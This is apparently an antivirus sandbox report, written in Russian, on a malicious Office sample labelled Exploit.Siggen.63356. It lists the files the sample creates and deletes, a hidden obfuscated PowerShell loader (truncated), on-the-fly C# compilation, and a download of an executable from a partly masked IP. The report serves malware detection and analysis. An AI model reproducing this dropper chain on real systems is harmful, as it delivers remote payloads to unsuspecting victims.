Exploit.Siggen.63356

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function wb6d153 {param($c2eb4)$eb8ec33='wb9349';$ebae12='';for ($i=0; $i -lt $c2eb4.length;$i+=2){$ld632=[convert]::ToByte($c2eb4.Substring($i,2),16);$ebae12+=[char]($ld6...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nhgnbie1.0.cs
%TEMP%\res4a8.tmp
%TEMP%\csc478.tmp
%TEMP%\ca0coyev.out
%TEMP%\ca0coyev.cmdline
%TEMP%\ca0coyev.0.cs
%TEMP%\qnckhkra.dll
%TEMP%\resd1a1.tmp
%TEMP%\cscd171.tmp
%TEMP%\qnckhkra.out
%TEMP%\qnckhkra.cmdline
%TEMP%\qnckhkra.0.cs
%TEMP%\wlxt2jra.dll
%TEMP%\res9d72.tmp
%TEMP%\ca0coyev.dll
%TEMP%\csc9d51.tmp
%TEMP%\res873a.tmp
%TEMP%\nhgnbie1.dll
%TEMP%\res86ae.tmp
%TEMP%\wlxt2jra.out
%TEMP%\csc870a.tmp
%TEMP%\csc867e.tmp
%TEMP%\wlxt2jra.cmdline
%TEMP%\wlxt2jra.0.cs
%TEMP%\2xwzojez.out
%TEMP%\2xwzojez.cmdline
%TEMP%\2xwzojez.0.cs
%TEMP%\nhgnbie1.out
%TEMP%\nhgnbie1.cmdline
%TEMP%\2xwzojez.dll
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{463017a1-dd6a-4743-9cb9-a6996624c28f}.tmp

Удаляет следующие файлы

%TEMP%\res86ae.tmp
%TEMP%\wlxt2jra.0.cs
%TEMP%\wlxt2jra.cmdline
%TEMP%\resd1a1.tmp
%TEMP%\cscd171.tmp
%TEMP%\qnckhkra.0.cs
%TEMP%\qnckhkra.cmdline
%TEMP%\qnckhkra.pdb
%TEMP%\ca0coyev.dll
%TEMP%\qnckhkra.dll
%TEMP%\res4a8.tmp
%TEMP%\csc478.tmp
%TEMP%\ca0coyev.cmdline
%TEMP%\ca0coyev.out
%TEMP%\ca0coyev.pdb
%TEMP%\wlxt2jra.out
%TEMP%\qnckhkra.out
%TEMP%\wlxt2jra.pdb
%TEMP%\res873a.tmp
%TEMP%\csc867e.tmp
%TEMP%\nhgnbie1.cmdline
%TEMP%\nhgnbie1.pdb
%TEMP%\nhgnbie1.0.cs
%TEMP%\nhgnbie1.dll
%TEMP%\nhgnbie1.out
%TEMP%\csc870a.tmp
%TEMP%\csc9d51.tmp
%TEMP%\2xwzojez.cmdline
%TEMP%\2xwzojez.out
%TEMP%\2xwzojez.dll
%TEMP%\2xwzojez.pdb
%TEMP%\2xwzojez.0.cs
%TEMP%\res9d72.tmp
%TEMP%\wlxt2jra.dll
%TEMP%\ca0coyev.0.cs

Сетевая активность

TCP

Запросы HTTP GET

http://18#.#42.105.116/aren/rod.exe

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function wb6d153 {param($c2eb4)$eb8ec33='wb9349';$ebae12='';for ($i=0; $i -lt $c2eb4.length;$i+=2){$ld632=[convert]::ToByte($c2eb4.Substring($i,2),16);$ebae12+=[char]($ld6...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nhgnbie1.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2xwzojez.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES86AE.tmp" "%TEMP%\CSC867E.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES873A.tmp" "%TEMP%\CSC870A.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wlxt2jra.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9D72.tmp" "%TEMP%\CSC9D51.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qnckhkra.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD1A1.tmp" "%TEMP%\CSCD171.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ca0coyev.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A8.tmp" "%TEMP%\CSC478.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nhgnbie1.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2xwzojez.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES86AE.tmp" "%TEMP%\CSC867E.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES873A.tmp" "%TEMP%\CSC870A.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wlxt2jra.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9D72.tmp" "%TEMP%\CSC9D51.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qnckhkra.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD1A1.tmp" "%TEMP%\CSCD171.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ca0coyev.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A8.tmp" "%TEMP%\CSC478.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding